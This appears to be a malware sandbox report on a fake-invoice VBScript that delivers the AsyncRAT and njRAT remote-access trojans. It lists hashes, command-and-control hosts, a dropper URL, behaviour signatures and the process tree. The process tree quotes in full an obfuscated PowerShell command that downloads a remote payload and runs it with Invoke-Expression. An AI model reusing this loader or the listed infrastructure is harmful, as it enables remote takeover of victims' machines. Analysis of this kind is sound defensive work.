Overview

overview

10

Static

static

N00FX02Inv...py.vbs

windows7_x64

10

N00FX02Inv...py.vbs

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    11-09-2021 00:56

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    N00FX02Invoicecopy.vbs

  • Size

    5KB

  • MD5

    9e0bd0f4ce191d98589957b4427cf41c

  • SHA1

    00f0cd6cbd74f0be67c4a5ccae6c5bccba40ca28

  • SHA256

    d8254110ac2d8ee1e35d89881116ae44e2542adab4b91cfbba532baa180442d9

  • SHA512

    20863c334593b5e2b476b6e548ced2c9755609be58e433028d2b4bbdb3236266d8cca9afe131ed163b753a5ea79ff581e75a3e205fc20275c513d4f8119221dd

Score
10/10
asyncratnjratdefaulthackedrattrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://52.188.147.221/Spreading/HS.txt

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

C2

jilldoggyy.duckdns.org:7840

jilldoggyy.duckdns.org:7829

jilldoggyy.duckdns.org:7841

103.147.185.192:7840

103.147.185.192:7829

103.147.185.192:7841
Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • anti_vm

    false

  • bsod

    false

  • delay

    3

  • install

    false

  • install_folder

    %AppData%

  • pastebin_config

    null

aes.plain

Extracted

Family

njrat

Version

v4.0

Botnet

HacKed

C2

20.194.35.6:8023

Mutex

Windows

Attributes
  • reg_key

    Windows

  • splitter

    |-F-|

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

    ratasyncrat
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

    trojannjrat
  • Async RAT payload 2 IoCs
    rat
  • Blocklisted process makes network request 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\N00FX02Invoicecopy.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1832
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://52XXX188XXX147XXX221/Spreading/HSXXXtxt'.Replace('XXX','.');$SOS='2^===H===^5===H===^^===H===52===H===^`===H===^7===H===^8===H===^e===H===^a===H===^d===H===^b===H===^^===H===^5===H===^`===H===^7===H===^8===H===^a===H===20===H===3d===H===20===H===27===H===`e===H===^5===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===^5===H===`2===H===^3===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===5^===H===27===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===27===H===2c===H===27===H===7^===H===2e===H===57===H===27===H===29===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===2b===H===27===H===2c===H===27===H===`c===H===^9===H===^5===H===^e===H===27===H===29===H===3b===H===0a===H===2^===H===53===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^e===H===^a===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^a===H===^b===H===20===H===3d===H===20===H===27===H===^^===H===^f===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===`1===H===^^===H===53===H===5^===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===^7===H===27===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===2a===H===27===H===2c===H===27===H===57===H===`e===H===^c===H===`f===H===27===H===29===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===27===H===2c===H===27===H===72===H===^9===H===`e===H===27===H===29===H===3b===H===0a===H===2^===H===53===H===57===H===58===H===^^===H===^5===H===^3===H===52===H===^`===H===^7===H===59===H===^8===H===55===H===^a===H===^9===H===53===H===^^===H===^`===H===5`===H===^7===H===^8===H===^a===H===20===H===3d===H===27===H===^9===H===`0===H===^5===H===58===H===28===H===`e===H===`0===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===`0===H===`3===H===`0===H===5^===H===20===H===2^===H===^5===H===^^===H===52===H===^`===H===^7===H===^8===H===^e===H===^a===H===^d===H===^b===H===^^===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===^7===H===^2===H===^8===H===^e===H===^a===H===53===H===^^===H===^`===H===^7===H===^8===H===29===H===27===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===2d===H===27===H===2c===H===27===H===`5===H===`0===H===57===H===`0===H===2d===H===^f===H===`2===H===`a===H===`0===H===^5===H===27===H===29===H===2e===H===52===H===`5===H===70===H===`c===H===`1===H===`3===H===`5===H===28===H===27===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3c===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===3e===H===27===H===2c===H===27===H===^5===H===^`===H===^7===H===^8===H===^a===H===29===H===2e===H===2^===H===53===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^e===H===^a===H===58===H===^^===H===^3===H===^`===H===5`===H===^7===H===^2===H===^8===H===^a===H===^b===H===28===H===2^===H===53===H===5a===H===58===H===^^===H===^3===H===^`===H===5`===H===27===H===29===H===3b===H===0a===H===2`===H===28===H===27===H===^9===H===27===H===2b===H===27===H===^5===H===58===H===27===H===29===H===28===H===2^===H===53===H===57===H===58===H===^^===H===^5===H===^3===H===52===H===^`===H===^7===H===59===H===^8===H===55===H===^a===H===^9===H===53===H===^^===H===^`===H===5`===H===^7===H===^8===H===^a===H===20===H===2d===H===^a===H===`f===H===`9===H===`e===H===20===H===27===H===27===H===29===H===7c===H===2`===H===28===H===27===H===^9===H===27===H===2b===H===27===H===^5===H===58===H===27===H===29===H===3b'.Replace('^','4').Replace('`','6');Invoke-Expression (-join ($SOS -split '===' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:820
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1588
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1248

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/820-114-0x0000000000000000-mapping.dmp
    Download
  • memory/820-119-0x0000029E4FBC0000-0x0000029E4FBC2000-memory.dmp
    Filesize

    8KB

    Download
  • memory/820-120-0x0000029E4FBC3000-0x0000029E4FBC5000-memory.dmp
    Filesize

    8KB

    Download
  • memory/820-122-0x0000029E376B0000-0x0000029E376B1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/820-125-0x0000029E505E0000-0x0000029E505E1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/820-132-0x0000029E4FBC6000-0x0000029E4FBC8000-memory.dmp
    Filesize

    8KB

    Download
  • memory/820-259-0x0000029E4FBC8000-0x0000029E4FBC9000-memory.dmp
    Filesize

    4KB

    Download
  • memory/820-3447-0x0000029E37720000-0x0000029E37724000-memory.dmp
    Filesize

    16KB

    Download
  • memory/1248-3458-0x000000000040836E-mapping.dmp
    Download
  • memory/1248-3457-0x0000000000400000-0x000000000040E000-memory.dmp
    Filesize

    56KB

    Download
  • memory/1248-3465-0x0000000005410000-0x0000000005411000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1248-3467-0x0000000005EB0000-0x0000000005EB1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1248-3471-0x00000000059A0000-0x00000000059A1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1248-3472-0x0000000005A50000-0x0000000005A51000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1248-3473-0x00000000059F0000-0x00000000059F1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1588-3449-0x000000000040C77E-mapping.dmp
    Download
  • memory/1588-3455-0x0000000005340000-0x0000000005341000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1588-3448-0x0000000000400000-0x0000000000412000-memory.dmp
    Filesize

    72KB

    Download
  • memory/1588-3470-0x0000000005B30000-0x0000000005B31000-memory.dmp
    Filesize

    4KB

    Download